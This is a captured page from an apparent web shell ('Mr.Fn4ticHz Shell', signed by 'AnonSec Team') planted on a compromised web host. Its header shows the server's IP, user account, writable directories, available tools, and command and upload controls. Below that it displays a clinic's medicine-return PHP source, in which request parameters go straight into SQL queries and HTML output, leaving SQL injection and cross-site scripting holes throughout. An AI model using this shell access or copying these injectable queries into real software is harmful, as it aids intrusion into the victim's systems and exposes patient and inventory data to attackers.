Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.117.98.250
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/ReturnMedicineExpiryDate.php
<?php
session_start();
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../patientmanager.php');
include("header.php");
include 'workdeskmenu.php';;
  $medicine_slot ="SELECT * FROM medicine_slot WHERE batchno='$_GET[Batch_number]'";
		$Qmedicine_slot = mysqli_query($con,$medicine_slot);
		$Rowmedicine_slot = mysqli_fetch_array($Qmedicine_slot);
		
if(isset($_POST['CreateReturn'])) 
{ 
$medicine_inventory ="UPDATE `medicine_inventory` SET `totalQuatity`='$_POST[AddQty]' WHERE inventory_id='$_POST[inventory_id]'";
//echo $medicine_inventory;

if($qmedicine_inventory = mysqli_query($con,$medicine_inventory))
		{
    echo "<script>alert('Successfully');</script>";
//     if($_GET['Normal_care']=='Normal_care'){
//         echo "<script>window.location.replace('PaidReturnMedicine.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&Normal_care=$_GET[Normal_care]'); </script>";
//     }else{
//   echo "<script>window.location.replace('PaidReturnMedicine.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]'); </script>";
//   }
		    
		} else {
    echo "Sorry, there was an error uploading your file.";
  } 
    
}

// if(isset($_POST['CreateReturn'])) 
// { 
//     $a=$_POST['UpgradeAmt'];
//     $b=$_POST['priceFinal'];
//         $res=$a-$b;
// $sql1 ="UPDATE `purchase_invoice` SET `Quantity`='$_POST[AddQty]', payableAmt='$res'  WHERE id='$_GET[pid]'";
// //echo $sql1;
// if($qsql1 = mysqli_query($con,$sql1))
// 		{
//     echo "<script>alert('Successfully');</script>";
//   //echo "<script>window.location.replace('ReturnMedicine.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]'); </script>";
//   } else {
//     echo "Sorry, there was an error uploading your file.";
//   } 
    
// }
if(isset($_POST['CreateReturn'])) 
{ 
 
 	$updated_at=date("F d, Y / h:i:s A");
   $created_at=date("F d, Y / h:i:s A");
   
  $a=$_POST['UpgradeAmt'];
    $b=$_POST['priceFinal'];
        $res=$a-$b;

$sql1="INSERT INTO `PurchaseRetuneMedicine`(`userno`,`inventory_id`, `DRUGS_name`, `Batch_number`, `Quantity`, `ReturnQuantity`, `UpdQty`, `Amt`, `ReturnPrice`,`Rem_amount`, `discount`, `invoice_no`, `vendor`, `pid`, `medicine_id`, `created_at`, `created_by`) VALUES ('$_POST[userno]','$_POST[inventory_id]','$_POST[DRUGS_name]','$_POST[Batch_number]','$_POST[Quantity]','$_POST[ReturnQuantity]','$_POST[AddQty]','$_POST[UpgradeAmt]','$_POST[priceFinal]','$res','$_POST[discount]','$_GET[invoice_no]','$_GET[vendor]','$_GET[pid]','$_GET[medicine_id]','$created_at','$updated_at')";
//echo $sql1;



if($qsql1 = mysqli_query($con,$sql1))
		{
  
$last_id = mysqli_insert_id($con);

//echo $last_id;
    //echo "<script>alert('Successfully');</script>";
    echo "<script>window.location.replace('ViewPurchaseReturn.php?id=$last_id'); </script>";
  } else {
    echo "Sorry, there was an error uploading your file.";
  } 
    
}
?>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

<style>
      #loaderImg {
         position: absolute;
         top: 0;
         bottom: 0;
         left: 0;
         right: 0; 
         margin: auto;
         border: 10px solid grey;
         border-radius: 50%;
         border-top: 10px solid black;
         width: 100px;
         height: 100px;
         animation: spin 1s linear infinite;
         z-index:10000000;
      }
      @keyframes spin {
         0% {
            -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
         }
         100% {
            -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
         }
      }
   </style>
    
  </div>
</div>
<div class="wrapper col-4" style='width:100%'>
  <div id="container-fluid">
  
 
 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
        <div style = "display:none;" id = "loaderImg"> <div class="loader"> </div> </div>

   <form method="post" action="" id="myForm" name="submit" onSubmit="return validateform()">
<table border="1" class="order-table table table-hover table-bordered">
      <tbody>
                  <tr>
          <th>Date – time </th>
          <th>Medication Details</th>
             <th>Quantity To Be Return </th>
         
         </tr>
        </tbody>
<?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		
		     


  
 $medicine_stok ="SELECT * FROM medicine_stok WHERE medicine_id='$_GET[medicine_id]' AND admin_id='$re[entered_by]'";
$qmedicine_stok = mysqli_query($con,$medicine_stok);
$rmedicine_stok = mysqli_fetch_array($qmedicine_stok);
           
$sql ="SELECT * FROM medicine_inventory where medicine_id='$rmedicine_stok[medicine_id]'";
$qsql = mysqli_query($con,$sql);
$RowMedicineIn = mysqli_fetch_array($qsql);		    
		    
echo"";
echo"";

		     echo " <tbody>
            <tr>
     <td><b>Created at:</b> $RowMedicineIn[created_at]
     <input type='hidden' name='created_at' id='created_at' value='$RowMedicineIn[created_at]'/>
                 <br><b>Created By:</b> $re[name] 
                  <input type='hidden' name='userno' id='userno' value='$re[userno]'/>
                 </td>
                 <td><b>Name :</b> $rmedicine_stok[DRUGS_name] 
                 <input type='hidden' name='DRUGS_name' id='DRUGS_name' value='$rmedicine_stok[DRUGS_name]'/>
                 
                
                 <br>";
                 
                 
	   






    echo " <br>	<b>	Batch No :</b> $RowMedicineIn[Batch_number]
    
     <input type='hidden' name='Batch_number' id='Batch_number' value='$RowMedicineIn[Batch_number]'/>
    ";
    
   
echo " <br>	<b>	Quantity Purchased :</b> $RowMedicineIn[totalQuatity]  
<input type='hidden' name='Quantity' id='Quantity' value='$RowMedicineIn[totalQuatity]'/><br>";    
    
    

            echo "</td><td>
            <div style = 'display:none;' id = 'loaderImg'> <div class='loader'> </div> </div>
<form name='FinalDecision' id='myForm' method='POST'>
            ";
            

    $PInvoice=$con->query("SELECT * FROM purchase_invoice WHERE id='$_GET[pid]'");
    $RPInvoice=$PInvoice->fetch_array();
  
   	$medicine_stok ="SELECT * FROM medicine_stok WHERE medicine_id='$RPInvoice[medicine_id]'";
$qmedicine_stok = mysqli_query($con,$medicine_stok);
$rsms = mysqli_fetch_array($qmedicine_stok);
    $a=$rs['Quantity']*$rsms['size'];
     
		
            
    echo "<input type='number' id='txt1$_GET[pid]' value='0' name='ReturnQuantity'  onkeyup='sum$_GET[pid]();' style='width:50%;'/><br>
<input type='hidden' id='txt2$_GET[pid]' value='$RowMedicineIn[totalQuatity]'  onkeyup='sum$_GET[pid]();' style='width:25%;'/><br>


<input type='hidden' id='txt3$_GET[pid]' name='AddQty' onkeyup='sum$_GET[pid]();'   style='width:25%; color:#ff0080'/>

";

   echo "
   <input type='hidden' id='txt4$_GET[pid]' value='$RowMedicineIn[totalQuatity]' name='upgradeQty'  onkeyup='sum$_GET[pid]();' style='width:25%;color:#00394d'/>";
  
  
   echo "<input type='hidden' id='totalQuatity$_GET[pid]' name='totalQuatity' value='$RowMedicineIn[totalQuatity]' onkeyup='sum$_GET[pid]();' style='width:25%; color:red'/>

<input type='hidden' id='AddQuatity$_GET[pid]' name='AddQuatity' onkeyup='sum$_GET[pid]();'  style='width:25%; color:#0040ff'/>";
   
 
 
//echo "<input type='text' id='size$_GET[pid]' value='$rsms[size]'  onkeyup='sum$_GET[pid]();' style='width:25%;'/><br>           <input type='text' id='totalAddQty$_GET[pid]' name='totalAddQty'  style='width:25%;' onkeyup='sum$_GET[pid]();'/>  "; 
 
 
 
  
 
echo"<input type='hidden' name='UpgradeAmt' id='UpgradeAmt$_GET[pid]' value='$RPInvoice[payableAmt]' onkeyup='sum$_GET[pid]();' style='width:25%;color:blue;'>


<input type='hidden' name='priceFinal' id='priceFinal$_GET[pid]'  onkeyup='sum$_GET[pid]();' style='width:25%;color:red'>





<input type='hidden' name='inventory_id' value='$RPInvoice[inventory_id]'>
<input type='hidden' name='discount' value='$RPInvoice[discount]'>
 <input type='hidden' name='entered_by' value='$re[userno]'>";
                echo" <input type='hidden' name='medicine_id' value='$_GET[medicine_id]'></td>
              

    </tr>   
    <tr><td colspan='3'><input type='submit' class='btn btn-success' value='Proceed' name='CreateReturn'></td></tr>
                 
          </form>
   
   	";	
		
	
		?>

   <table id="example2"  id ="demo" class="table table-bordered table-hover">
<?php
			$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                    
          
     ";
}
?>  
   </tbody>
</table> 
   </form>
    <p>&nbsp;</p>

  </div>
</div>
</div>
 <div class="clear"></div>
  </div>
</div>
<?php
include("footer.php");
?>
         <script>
      let modalBtns = [...document.querySelectorAll(".button")];
      modalBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.getAttribute('data-modal');
          document.getElementById(modal)
            .style.display = "block";
        }
      });
      let closeBtns = [...document.querySelectorAll(".close")];
      closeBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.closest('.modal');
          modal.style.display = "none";
        }
      });
      window.onclick = function(event) {
        if(event.target.className === "modal") {
          event.target.style.display = "none";
        }
      }
    </script>
    <script>
 function drugload(drid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divdr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loaddrug.php?drid="+drid,true);
        xmlhttp.send();
}
     
       
  
</script>

  </body>
</html>
</div>

<script>
   
    function sum<?php echo $_GET['pid'] ?>() {
            var txtFirstNumberValue = document.getElementById('txt1<?php echo $_GET['pid'] ?>').value;
            var txtSecondNumberValue = document.getElementById('txt2<?php echo $_GET['pid'] ?>').value;
            var txtFourthNumberValue = document.getElementById('txt4<?php echo $_GET['pid'] ?>').value;
            
             var txtThirdNumberValue = document.getElementById('txt3<?php echo $_GET['pid'] ?>').value;
            
            var txtFifthNumberValue = document.getElementById('UpgradeAmt<?php echo $_GET['pid'] ?>').value;
            var txtpriceFinalValue=document.getElementById('priceFinal<?php echo $_GET['pid'] ?>').value;
            
           var txttotalQuatity=document.getElementById('totalQuatity<?php echo $_GET['pid'] ?>').value;
            
            
            var result =  parseInt(txtSecondNumberValue) - parseInt(txtFirstNumberValue);
            
            var TQty1= parseInt(txtSecondNumberValue)-parseInt(txtThirdNumberValue);
            
            var DividePrice=parseFloat(txtFifthNumberValue)/parseFloat(txtSecondNumberValue);
            var FinalPrice=parseFloat(DividePrice)*parseFloat(txtFirstNumberValue);
            
           var textQty=parseInt(txtFifthNumberValue) - parseInt(txtpriceFinalValue);
          
          
          
            
            if (!isNaN(result)) {
                document.getElementById('txt3<?php echo $_GET['pid'] ?>').value = result;
            }
            if (!isNaN(TQty1)) {
                document.getElementById('txt4<?php echo $_GET['pid'] ?>').value = TQty1;
            }
             if (!isNaN(FinalPrice)) {
                document.getElementById('priceFinal<?php echo $_GET['pid'] ?>').value = FinalPrice;
            }
            
            if (!isNaN(textQty)) {
                document.getElementById('AddQuatity<?php echo $_GET['pid'] ?>').value = textQty;
            }
            
           var size = document.getElementById('size<?php echo $_GET['pid'] ?>').value;
           
           var Qtyresult = parseInt(size) * parseInt(result);
           
           if (!isNaN(Qtyresult)) {
                document.getElementById('totalAddQty<?php echo $_GET['pid'] ?>').value = Qtyresult;
            }
        }
</script>





  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function(){
    $('#myForm').submit(function() {
     $('#loaderImg').show(); 
      return true;
    });
});
</script>

Anon7 - 2022
AnonSec Team